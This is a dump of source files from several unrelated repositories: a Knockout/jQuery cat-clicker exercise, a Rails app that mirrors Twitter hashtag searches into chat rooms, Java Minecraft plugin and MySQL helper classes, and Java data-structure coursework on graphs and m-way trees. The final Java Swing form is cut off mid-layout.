this.$catClicker = $('#cat-clicker');
this.$catName = $('#cat-name');
this.$catImage = $('#cat-image');
this.$catCounter = $('#cat-counter');
this.$catClicker.on('click', this.$catImage , function (e) {
octopus.incrementCounter();
});
this.render();
},
render: function () {
var currentCat = octopus.getCurrentCat();
this.$catCounter.html(currentCat.counter);
this.$catImage.attr('src', currentCat.image);
this.$catName.html(currentCat.name);
}
}
var catListView = {
init: function () {
this.$catTable = $('#cat-table');
this.render();
},
render: function () {
var cats = octopus.getCats();
this.$catTable.html('');
for(var i = 0; i < cats.length; i++) {
var cat = cats[i];
var row = document.createElement('tr');
var img = '<img class="thumb" src="' + cat.image + '">';
var html = '';
html += '<td>' + img + '</td>';
html += '<td>' + cat.name + '</td>';
row.innerHTML = html;
row.addEventListener('click', (function (cat) {
return function () {
octopus.setCurrentCat(cat);
catClickerView.render();
};
})(cat));
this.$catTable.append(row);
}
}
}
<file_sep>var octopus = {
init: function () {
model.currentCat = model.cats[0];
// TODO: Init list of cats
catListView.init();
// TODO: Init cat clicker
catClickerView.init();
},
getCats: function () {
return model.cats;
},
getCurrentCat: function () {
return model.currentCat;
},
setCurrentCat: function (cat) {
model.currentCat = cat;
},
incrementCounter: function () {
model.currentCat.counter++;
catClickerView.render();
}
}
octopus.init();
<file_sep>function Cat(name, image) {
this.name = name;
this.image = image;
this.counter = 0;
};
var model = {
currentCat: null,
cats: []
}
model.cats[0] = new Cat('Sitten Kitten', 'images/Sitten%20Kitten.jpg');
model.cats[1] = new Cat('Dramatic Kitten', 'images/Dramatic%20Kitten.jpg');
model.cats[2] = new Cat('Box Cat', 'images/Box%20Cat.jpg');
model.cats[3] = new Cat('Grumpy Cat', 'images/Grumpy%20Cat.jpg');
model.cats[4] = new Cat('Scaredy Cat', 'images/Scaredy%20Cat.jpg');
<file_sep>var Cat = function(catName, imageSource) {
this.name = ko.observable(catName);
this.imgSrc = ko.observable(imageSource);
this.clickCount = ko.observable(0);
this.level = ko.computed(function () {
var clicks = this.clickCount();
if (clicks < 10) {
return 'Newborn';
}
else if (clicks < 50) {
return 'Infant';
}
else if (clicks < 100) {
return 'Child';
}
else if (clicks < 200) {
return 'Teen';
}
else if (clicks < 500) {
return 'Adult';
}
else {
return 'Ninja';
}
}, this);
};
var CatClickerViewModel = function() {
var self = this;
this.catList = ko.observableArray();
this.catList().push(new Cat('Box Cat', 'images/Box Cat.jpg'));
this.catList().push(new Cat('Dramatic Kitten', 'images/Dramatic Kitten.jpg'));
this.catList().push(new Cat('Grumpy Cat', 'images/Grumpy Cat.jpg'));
this.catList().push(new Cat('Scaredy Cat', 'images/Scaredy Cat.jpg'));
this.catList().push(new Cat('Sitten Kitten', 'images/Sitten Kitten.jpg'));
this.currentCat = ko.observable(this.catList()[0]);
this.setCurrentCat = function(data) {
self.currentCat(data);
};
this.incrementCounter = function () {
self.currentCat().clickCount(self.currentCat().clickCount() + 1);
};
};
ko.applyBindings(new CatClickerViewModel());
<file_sep>Cat Clicker Premium
===================
Cat clicker game based on <NAME>'s [Cow Clicker](https://en.wikipedia.org/wiki/Cow_Clicker), a social network game experiment on free-to-play games. Created for Udacity's Front-End Web Developer Nanodegree to learn the MVC design pattern.
How to Play
-----------
* Follow this link: [Cat Clicker](https://mkkakau.github.io/cat-clicker-premium)
OR
* Clone the repository and run index.html
`git clone https://github.com/mkkakau/cat-clicker-premium.git`
Create your Own
---------------
I am not currently seeking collaboration on this project, but if you would like to learn to make your own Cat Clicker game, start the [JavaScript Design Patterns](https://www.udacity.com/course/javascript-design-patterns--ud989) course instructed by <NAME>.
| 45c2d8c93fdfddd5f1b39dd83ff8f7ec4bdbb926 | [
"JavaScript",
"Markdown"
] | 5 | JavaScript | mkkakau/cat-clicker-premium | 0a276c4728cb7cbcabc9b8fc5095ddc7a62c678a | bfad6b61f0658b5bf0b2e8665ad668a1bc98b4d9 |
refs/heads/master | <repo_name>shu0115/roomz01<file_sep>/config/initializers/constants.rb
# coding: utf-8
# ---------- 環境別定義 ---------- #
if Rails.env.production?
#----------------#
# Production環境 #
#----------------#
DEFAULT_PROVIDER = "twitter"
else
#--------------------#
# Production環境以外 #
#--------------------#
# DEFAULT_PROVIDER = "developer"
DEFAULT_PROVIDER = "twitter"
end
# ---------- 定数定義 ---------- #
# ページ毎件数
PER_PAGE = 500
# スーパーユーザ
SUPER_UID = "14369656"
<file_sep>/app/models/tweet.rb
# coding: utf-8
class Tweet < ActiveRecord::Base
belongs_to :user
belongs_to :room
private
#---------------------#
# self.get_user_icons #
#---------------------#
# アイコン一覧生成
def self.get_user_icons( room )
icon_hash = Hash.new{ |hash, key| hash[key] = Hash.new }
tweets = Tweet.where( room_id: room.id ).order( "created_at DESC" ).limit( PER_PAGE ).all
tweets.each{ |tweet|
icon_hash[tweet.from_twitter_user_id][:screen_name] = tweet.from_twitter_user
icon_hash[tweet.from_twitter_user_id][:image] = tweet.user_image_url
icon_hash[tweet.from_twitter_user_id][:from_twitter_user_id] = tweet.from_twitter_user_id
}
return icon_hash
end
#--------------------------------#
# self.get_user_icons_from_tweet #
#--------------------------------#
# アイコン一覧生成(Twitterから)
def self.get_user_icons_from_tweet( tweets )
icon_hash = Hash.new{ |hash, key| hash[key] = Hash.new }
tweets.each{ |tweet|
icon_hash[tweet.from_user_id][:screen_name] = tweet.from_user
icon_hash[tweet.from_user_id][:image] = tweet.profile_image_url
}
return icon_hash
end
#------------------------#
# self.get_twitter_param #
#------------------------#
# Twitterツイート取得パラメータ設定
def self.get_twitter_param( room )
param_hash = Hash.new
param_hash[:search_query] = room.search_query.presence || room.hash_tag
param_hash[:options] = Hash.new
# param_hash[:options][:lang] = "ja"
param_hash[:options][:result_type] = "recent"
param_hash[:options][:rpp] = 100
param_hash[:options][:page] = 1
return param_hash
end
#--------------------#
# self.absorb_tweets #
#--------------------#
# Twitterツイート取得/登録
def self.absorb_tweets( room )
page = 1
per_page = 100
last_max_id = room.last_max_id.presence || 1
search_query = room.search_query.presence || room.hash_tag
# 取得データが無くなるまでループ
loop do
# ツイートを取得
# get_tweets = Twitter.search( "#{search_query}", lang: "ja", result_type: "recent", since_id: room.last_max_id.to_i, rpp: per_page, page: page )
get_tweets = Twitter.search( "#{search_query}", result_type: "recent", since_id: room.last_max_id.to_i, rpp: per_page, page: page )
get_tweets.each{ |tweet|
# ツイートが既に登録済みで無ければ
unless Tweet.where( room_id: room.id, from_twitter_id: tweet.id ).exists?
# ツイートを登録
add_tweet = Tweet.new
add_tweet.room_id = room.id
add_tweet.user_id = User.where( uid: tweet.from_user_id.to_s ).first.try(:id)
add_tweet.post = tweet.text
add_tweet.from_twitter_id = tweet.id
add_tweet.from_twitter_user_id = tweet.from_user_id
add_tweet.from_twitter_user = tweet.from_user
add_tweet.user_image_url = tweet.profile_image_url
add_tweet.created_at = tweet.created_at
add_tweet.save
last_max_id = tweet.id if last_max_id < tweet.id
end
}
page += 1
# 取得ツイートが無ければ
if get_tweets.blank?
# MaxIDを更新
room.update_attributes( last_max_id: last_max_id )
# ループを抜ける
break
end
end
end
#--------------------#
# self.run_get_tweet #
#--------------------#
# バッチ呼び出し
# [ bundle exec ruby script/rails runner "Tweet.run_get_tweet" ]
def self.run_get_tweet
Tweet.get_all_room_tweet
end
#-------------------------#
# self.get_all_room_tweet #
#-------------------------#
# 全Roomツイート取得&登録
def self.get_all_room_tweet
# バッチログ情報
batch_log = BatchLog.new
batch_log.name = "Tweet.get_all_room_tweet"
batch_log.description = "ツイート取得/保存"
batch_log.start_at = Time.now
batch_log.save
# Room全取得
rooms = Room.where( worker_flag: true ).order( "id DESC" ).all
# Roomループ
rooms.each{ |room|
batch_log.result ||= ""
result_room_id = "#{room.id}|"
result_hash_tag = "#{room.hash_tag}|"
result_start_at = "#{Time.now.strftime("%Y/%m/%d %H:%M:%S")}|"
page = 1
per_page = 100
last_max_id = 1
search_query = room.search_query.presence || room.hash_tag
total_count = 0
batch_log.total_count ||= 0
begin
# 取得データが無くなるまでループ
loop do
# ツイートを取得
# get_tweets = Twitter.search( "#{search_query}", result_type: "recent", since_id: room.last_max_id.to_i, rpp: per_page, page: page )
get_tweets = Twitter.search( "#{search_query}", result_type: "recent", since_id: 1, rpp: per_page, page: page )
get_tweets.each{ |tweet|
# ツイートが既に登録済みで無ければ
unless Tweet.where( room_id: room.id, from_twitter_id: tweet.id ).exists?
# ツイートを登録
add_tweet = Tweet.new
add_tweet.room_id = room.id
add_tweet.user_id = User.where( uid: tweet.from_user_id.to_s ).first.try(:id)
add_tweet.post = tweet.text
add_tweet.from_twitter_id = tweet.id
add_tweet.from_twitter_user_id = tweet.from_user_id
add_tweet.from_twitter_user = tweet.from_user
add_tweet.user_image_url = tweet.profile_image_url
add_tweet.created_at = tweet.created_at
if add_tweet.save
total_count += 1
end
# max_id更新
last_max_id = tweet.id if last_max_id < tweet.id
end
}
page += 1
# 取得ツイートが無ければ
if get_tweets.blank?
# MaxIDを更新(1より大きくなっていれば)
if last_max_id > 1
room.update_attributes( last_max_id: last_max_id )
end
batch_log.total_count += total_count
if total_count > 0
batch_log.result += result_room_id
batch_log.result += result_hash_tag
batch_log.result += "#{total_count}|"
batch_log.result += result_start_at
batch_log.result += "#{Time.now.strftime("%Y/%m/%d %H:%M:%S")}|\n"
end
# ループを抜ける
break
end
end
rescue => ex
batch_log.result = ""
batch_log.result += result_room_id
batch_log.result += result_hash_tag
batch_log.result += "ERROR|"
batch_log.result += "#{ex.message}|\n"
end
}
# 終了時刻保存
batch_log.end_at = Time.now
batch_log.process_time = batch_log.end_at - batch_log.start_at
batch_log.save
end
end
<file_sep>/db/migrate/20120325085329_add_column_rooms_tweets.rb
class AddColumnRoomsTweets < ActiveRecord::Migration
def up
# Room
add_column :rooms, :search_query, :string
add_column :rooms, :last_max_id, :integer, limit: 8
add_column :rooms, :last_tweet_at, :timestamp
add_column :rooms, :worker_flag, :boolean, default: false
# Tweet
add_column :tweets, :from_twitter_id, :integer, limit: 8
add_column :tweets, :from_twitter_user_id, :integer, limit: 8
add_column :tweets, :from_twitter_user, :string
add_column :tweets, :user_image_url, :string
end
def down
remove_column :rooms, :search_query
remove_column :rooms, :last_max_id
remove_column :rooms, :last_tweet_at
remove_column :rooms, :worker_flag
remove_column :tweets, :from_twitter_id
remove_column :tweets, :from_twitter_user_id
remove_column :tweets, :from_twitter_user
remove_column :tweets, :user_image_url
end
end
<file_sep>/README.rdoc
= Roomz
Room for Tweet.
= Local Setting
=== リポジトリをローカルへ作成
cd (作業ディレクトリ)
git clone <EMAIL>:shu0115/roomz01.git roomz
cd roomz
=== Twitterアプリ登録
https://dev.twitter.com/apps/new
Name: [ (アプリケーションの名前) ]
Description: [ (アプリケーションの説明) ]
WebSite: [ http://0.0.0.0:3000/ ]
Callback URL: [ http://0.0.0.0:3000/ ] ※登録しないと動かない
□ Yes, I agree <= チェック
CAPTCHA入力後「Create your Twitter application」を押下
=== ローカル用Twitterキー設定
vi config/initializers/local_setting.rb
-----
# Twitter OAuth Local Setting
ENV['TWITTER_KEY'] = "YOUR_CONSUMER_KEY"
ENV['TWITTER_SECRET'] = "YOUR_CONSUMER_SECRET"
-----
[ i ]:編集モードへ移行
[ ESC ]:コマンドモードへ移行
[ :wq ]:保存して終了
=== Rails起動
bundle install --without production
rake db:migrate
rails s
= Copyright
Copyright (c) 2012 <NAME>.
<file_sep>/app/models/batch_log.rb
class BatchLog < ActiveRecord::Base
end
<file_sep>/app/models/room.rb
# coding: utf-8
class Room < ActiveRecord::Base
belongs_to :user
has_many :tweets, dependent: :delete_all
end
<file_sep>/app/controllers/tweets_controller.rb
# coding: utf-8
class TweetsController < ApplicationController
BATCH_PER_PAGE = 24
#-------#
# index #
#-------#
def index
@room_id = params[:room_id]
twitter_user_id = params[:twitter_user_id]
@room = Room.where( id: @room_id ).first
# ルームが無ければリダイレクト
if @room.blank?
redirect_to( { controller: "rooms", action: "index" }, alert: "指定されたルームは存在しません。" ) and return
end
@tweets = Tweet.where( room_id: @room_id ).order( "created_at DESC" ).includes( :user )
# ユーザ指定
unless twitter_user_id.blank?
@tweets = @tweets.where( from_twitter_user_id: twitter_user_id )
end
@tweets = @tweets.page( params[:page] ).per( PER_PAGE )
@exist_me = @tweets.where( user_id: session[:user_id] ).exists?
@tweet = Tweet.new
@str_count = @room.hash_tag.length + 1
# TwitterのツイートをRoomzへ登録
if @room.worker_flag == true
Tweet.absorb_tweets( @room )
end
# アイコン配列生成用
@icon_hash = Tweet.get_user_icons( @room )
# ページタイトル
@title = @room.hash_tag
rescue => ex
flash[:notice] = ""
flash.now[:alert] = ex.message
# アイコン配列生成用
@icon_hash = Tweet.get_user_icons( @room )
# ページタイトル
@title = @room.hash_tag
end
#--------#
# create #
#--------#
def create
position_flag = params[:position_flag]
room_id = params[:room_id]
tweet = Tweet.new( params[:tweet] )
tweet_text = ""
room = Room.where( id: room_id ).first
# ハッシュタグ付加
if position_flag == "before"
# 前付け
tweet_text = "#{room.try(:hash_tag)} #{tweet.post}"
elsif position_flag == "after"
# 後付け
tweet_text = "#{tweet.post} #{room.try(:hash_tag)}"
else
if room.hash_tag_position == "before"
# 前付け
tweet_text = "#{room.try(:hash_tag)} #{tweet.post}"
elsif room.hash_tag_position == "after"
# 後付け
tweet_text = "#{tweet.post} #{room.try(:hash_tag)}"
end
end
ActiveRecord::Base.transaction do
# Twitterポスト
if room.twitter_synchro == true
# Twitter接続設定
Twitter.configure do |config|
config.consumer_key = ENV['TWITTER_KEY']
config.consumer_secret = ENV['TWITTER_SECRET']
config.oauth_token = current_user.token
config.oauth_token_secret = current_user.secret
end
# Twitterクライアント生成
twitter_client = Twitter::Client.new
# 投稿ポスト
twitter_client.update( tweet_text )
end
end
redirect_to( { action: "index", room_id: room_id }, notice: "投稿が完了しました。" ) and return
rescue => ex
flash[:notice] = ""
flash[:alert] = ex.message
@room = Room.where( id: params[:room_id] ).first
@tweets = Tweet.where( room_id: params[:room_id] ).order( "created_at DESC" ).includes( :user )
# アイコン配列生成用
@icon_hash = Tweet.get_user_icons( @room )
@tweet = Tweet.new( params[:tweet] )
@str_count = @room.hash_tag.length + @tweet.post.to_s.gsub("\r\n", " ").length + 1 # 改行が2文字カウントになるため半角スペースへ置換
render action: "index" and return
end
#--------#
# delete #
#--------#
def delete
if current_user.is_super?
tweet = Tweet.where( id: params[:id] ).first
else
tweet = Tweet.where( id: params[:id], user_id: session[:user_id] ).first
end
# 削除
tweet.destroy
redirect_to( action: "index", room_id: tweet.room_id ) and return
end
#-------#
# batch #
#-------#
def batch
# バッチログ取得
@batch_logs = BatchLog.order( "created_at DESC" ).page( params[:page] ).per( BATCH_PER_PAGE )
end
end
<file_sep>/db/migrate/20120318091044_add_hash_tag_position_twitter_synchro_to_rooms.rb
class AddHashTagPositionTwitterSynchroToRooms < ActiveRecord::Migration
def change
add_column :rooms, :hash_tag_position, :string, default: "after"
add_column :rooms, :twitter_synchro, :boolean, default: true
end
end
<file_sep>/app/controllers/rooms_controller.rb
# coding: utf-8
class RoomsController < ApplicationController
#-------#
# index #
#-------#
def index
@rooms = Room.order( "created_at DESC" ).includes( :user )
@exist_me = @rooms.where( user_id: session[:user_id] ).exists?
@room = Room.new
end
#------#
# show #
#------#
def show
room_id = params[:id]
@room = Room.where( id: room_id ).first
# ルームが無ければリダイレクト
if @room.blank?
redirect_to( { action: "index" }, alert: "指定されたルームは存在しません。" ) and return
end
@tweets = Tweet.where( room_id: room_id ).order( "created_at DESC" ).includes( :user )
# Twitterから取得
get_twitter_hash = Tweet.get_twitter_param( @room )
# @get_tweets = Twitter.search( get_twitter_hash[:search_query], lang: get_twitter_hash[:options][:lang], result_type: get_twitter_hash[:options][:result_type], rpp: get_twitter_hash[:options][:rpp], page: get_twitter_hash[:options][:page] )
@get_tweets = Twitter.search( get_twitter_hash[:search_query], result_type: get_twitter_hash[:options][:result_type], rpp: get_twitter_hash[:options][:rpp], page: get_twitter_hash[:options][:page] )
# アイコン配列生成用
@icon_hash = Tweet.get_user_icons_from_tweet( @get_tweets )
# ページタイトル
@title = @room.hash_tag
# Twitterへのリンク用
@link_query = @room.search_query.presence || @room.hash_tag
rescue => ex
flash.now[:alert] = ex.message
@rooms = Room.order( "created_at DESC" ).includes( :user ).all
@room = Room.new
render action: "index" and return
end
#------#
# edit #
#------#
def edit
if current_user.is_super?
@room = Room.where( id: params[:id] ).first
else
@room = Room.where( user_id: session[:user_id], id: params[:id] ).first
end
# ルームが無ければリダイレクト
if @room.blank?
redirect_to( { action: "index" }, alert: "指定されたルームは存在しません。" ) and return
end
# ページタイトル
@title = @room.hash_tag
end
#--------#
# create #
#--------#
def create
@room = Room.new( params[:room] )
@room.user_id = session[:user_id]
if @room.save
redirect_to( { action: "index" } ) and return
else
redirect_to( { action: "index" }, alert: 'Roomの作成に失敗しました。') and return
end
end
#--------#
# update #
#--------#
def update
update_room = params[:room]
# update_room[:twitter_synchro] = false unless update_room[:twitter_synchro] == "true"
update_room[:worker_flag] = false unless update_room[:worker_flag] == "true"
if current_user.is_super?
room = Room.where( id: params[:id] ).first
else
room = Room.where( id: params[:id], user_id: session[:user_id] ).first
end
# ルームが無ければリダイレクト
if room.blank?
redirect_to( { action: "index" }, alert: "指定されたルームは存在しません。" ) and return
end
unless room.update_attributes( update_room )
redirect_to( { action: "edit", id: room.id }, alert: 'Roomの更新に失敗しました。' ) and return
else
redirect_to( { action: "show", id: room.id } ) and return
end
end
#--------#
# delete #
#--------#
def delete
if current_user.is_super?
room = Room.where( id: params[:id] ).first
else
room = Room.where( id: params[:id], user_id: session[:user_id] ).first
end
# ルームが無ければリダイレクト
if room.blank?
redirect_to( { action: "index" }, alert: "指定されたルームは存在しません。" ) and return
end
room.destroy
redirect_to( action: "index" ) and return
end
end
| d76db4531370feaeda1948337998dffa49cbdf89 | [
"RDoc",
"Ruby"
] | 9 | Ruby | shu0115/roomz01 | d08decbee9d58ebb7786ef87e7e2e8e659f8364d | 9425298547d0b75d7907e4339598c017f6af67ac |
refs/heads/master | <file_sep>package net.yeahsaba.tanikyan.EconomyStatistics.Util;
import org.bukkit.plugin.java.JavaPlugin;
public class SignUpdater extends JavaPlugin {
}
<file_sep>package net.yeahsaba.tanikyan.EconomyStatistics.Listener;
import net.yeahsaba.tanikyan.EconomyStatistics.EconomyStatistics;
import org.bukkit.event.Listener;
public class CraftConomyEventListener implements Listener {
public CraftConomyEventListener(EconomyStatistics plugin) {
plugin.getServer().getPluginManager().registerEvents(this, plugin);
}
}
<file_sep>package net.yeahsaba.tanikyan.EconomyStatistics.Database;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
public class MySQL {
public static Connection con;
public static void connect(String url, String database, String user, String password){
try {
Class.forName("com.mysql.jdbc.Driver");
} catch (ClassNotFoundException e1) {
e1.printStackTrace();
}
try {
con = DriverManager.getConnection("jdbc:mysql://" + url + "/" + database, user, password);
System.out.println("[ES-MySQL] MySQL Connected!");
} catch (SQLException e) {
e.printStackTrace();
System.out.println("[ES-MySQL] MySQL Connection Failed.");
}
}
public static void close(){
if(con != null){
try {
con.close();
System.out.println("[ES-MySQL] MySQL Disconnected!");
} catch (SQLException e) {
e.printStackTrace();
}
}
}
public static void Update(String qry){
Statement st;
try {
st = con.createStatement();
st.executeUpdate(qry);
} catch (SQLException e) {
e.printStackTrace();
}
}
public static ResultSet Query(String qry){
ResultSet rs = null;
try {
Statement st = con.createStatement();
rs = st.executeQuery(qry);
} catch (SQLException e) {
e.printStackTrace();
}
return rs;
}
}
| e6c202fddabd14075bad981ff009eb49fa92ab8a | [
"Java"
] | 3 | Java | knight-ryu12/EconomyStatistics | 4bc02342e0575b2b8d643d10e75158a8e4dff73d | fe716e5ed6cdaf5a75454c458ce152644424c2e8 |
refs/heads/master | <repo_name>Diegou2304/Estructura-de-datos-II<file_sep>/Grafos Dirigidos/src/grafos/dirigidos/Vertice.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package grafos.dirigidos;
/**
*
* @author <NAME>
*/
public class Vertice {
private Vertice prox;
private String nombre;
private Arco primeroA;
public Vertice(Vertice proxV,String nomb,Arco priA){
prox=proxV;
nombre=nomb;
primeroA=priA;
}
public void setNombre(String nom){ nombre=nom; }
public String getNombre(){ return nombre; }
public void setProx(Vertice proxV){ prox=proxV; }
public Vertice getProx(){ return prox; }
public void setPrimero(Arco priA) { primeroA=priA; }
public Arco getPrimero() { return primeroA; }
}
<file_sep>/ArbolesM-Vias/src/arbolesm/vias/MainForm.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package arbolesm.vias;
import javax.swing.JOptionPane;
import java.util.LinkedList;
import java.util.Queue;
/**
*
* @author <NAME>
*/
public class MainForm extends javax.swing.JFrame {
/**
* Creates new form MainForm
*/
ArbolM arbol=new ArbolM();
ArbolM arbol2=new ArbolM();
public MainForm() {
initComponents();
}
/**
* This method is called from within the constructor to initialize the form.
* WARNING: Do NOT modify this code. The content of this method is always
* regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
Insertar = new javax.swing.JButton();
INORDEN = new javax.swing.JButton();
jScrollPane2 = new javax.swing.JScrollPane();
Salida = new javax.swing.JTextArea();
PreOrden = new javax.swing.JButton();
PostOrden = new javax.swing.JButton();
Altura = new javax.swing.JButton();
Suma = new javax.swing.JButton();
Buscar = new javax.swing.JButton();
Niveles = new javax.swing.JButton();
SumaNiveles = new javax.swing.JButton();
Clear = new javax.swing.JButton();
BuscarNodo = new javax.swing.JButton();
CantidadNodos = new javax.swing.JButton();
SumaNiveless = new javax.swing.JButton();
RecorridoNiveles = new javax.swing.JButton();
RecorridoNiveles1 = new javax.swing.JButton();
ArbolesIguales = new javax.swing.JButton();
Insertar2 = new javax.swing.JButton();
jButton1 = new javax.swing.JButton();
NivelElemento = new javax.swing.JButton();
RecorridoAbajoArriba = new javax.swing.JButton();
MayorNivel = new javax.swing.JButton();
ParesDesdeNivel = new javax.swing.JButton();
RecorridoNiveles2 = new javax.swing.JButton();
PrimosNivel = new javax.swing.JButton();
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
Insertar.setText("INSERTAR 1");
Insertar.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
InsertarActionPerformed(evt);
}
});
INORDEN.setText("INORDEN");
INORDEN.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
INORDENActionPerformed(evt);
}
});
Salida.setColumns(20);
Salida.setRows(5);
jScrollPane2.setViewportView(Salida);
PreOrden.setText("PREORDEN");
PreOrden.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
PreOrdenActionPerformed(evt);
}
});
PostOrden.setText("POSTORDEN");
PostOrden.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
PostOrdenActionPerformed(evt);
}
});
Altura.setText("ALTURA");
Altura.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
AlturaActionPerformed(evt);
}
});
Suma.setText("SUMA ELEMENTOS");
Suma.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
SumaActionPerformed(evt);
}
});
Buscar.setText("BUSCAR");
Buscar.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
BuscarActionPerformed(evt);
}
});
Niveles.setText("BUSQUEDA POR NIVELES");
Niveles.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
NivelesActionPerformed(evt);
}
});
SumaNiveles.setText("SUMA NIVELES");
SumaNiveles.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
SumaNivelesActionPerformed(evt);
}
});
Clear.setText("CLEAR");
Clear.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
ClearActionPerformed(evt);
}
});
BuscarNodo.setText("BUSCAR NODO");
BuscarNodo.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
BuscarNodoActionPerformed(evt);
}
});
CantidadNodos.setText("CANTIDAD DE NODOS");
CantidadNodos.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
CantidadNodosActionPerformed(evt);
}
});
SumaNiveless.setText("SUMA TODOS LOS NIVELES");
SumaNiveless.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
SumaNivelessActionPerformed(evt);
}
});
RecorridoNiveles.setText("Recorrido <NAME>");
RecorridoNiveles.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
RecorridoNivelesActionPerformed(evt);
}
});
RecorridoNiveles1.setText("Recorrido <NAME>");
RecorridoNiveles1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
RecorridoNiveles1ActionPerformed(evt);
}
});
ArbolesIguales.setText("Son Iguales");
ArbolesIguales.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
ArbolesIgualesActionPerformed(evt);
}
});
Insertar2.setText("INSERTAR 2");
Insertar2.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
Insertar2ActionPerformed(evt);
}
});
jButton1.setText("PARES POR NIVEL");
jButton1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton1ActionPerformed(evt);
}
});
NivelElemento.setText("NIVEL DE ELEMENTO");
NivelElemento.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
NivelElementoActionPerformed(evt);
}
});
RecorridoAbajoArriba.setText("Recorrido Niveles Abajo Arriba");
RecorridoAbajoArriba.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
RecorridoAbajoArribaActionPerformed(evt);
}
});
MayorNivel.setText("<NAME>");
MayorNivel.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
MayorNivelActionPerformed(evt);
}
});
ParesDesdeNivel.setText("ParesDesdeNivel");
ParesDesdeNivel.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
ParesDesdeNivelActionPerformed(evt);
}
});
RecorridoNiveles2.setText("Recorrido Niveles Arriba Abajo recursivo");
RecorridoNiveles2.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
RecorridoNiveles2ActionPerformed(evt);
}
});
PrimosNivel.setText("PRIMOS POR NIVEL");
PrimosNivel.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
PrimosNivelActionPerformed(evt);
}
});
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(26, 26, 26)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addComponent(Insertar, javax.swing.GroupLayout.PREFERRED_SIZE, 128, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false)
.addComponent(INORDEN, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(PreOrden, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false)
.addComponent(Suma, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(Altura, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(PostOrden, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.PREFERRED_SIZE, 128, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(SumaNiveles, javax.swing.GroupLayout.PREFERRED_SIZE, 120, javax.swing.GroupLayout.PREFERRED_SIZE)))))
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(Insertar2, javax.swing.GroupLayout.PREFERRED_SIZE, 128, javax.swing.GroupLayout.PREFERRED_SIZE)))
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
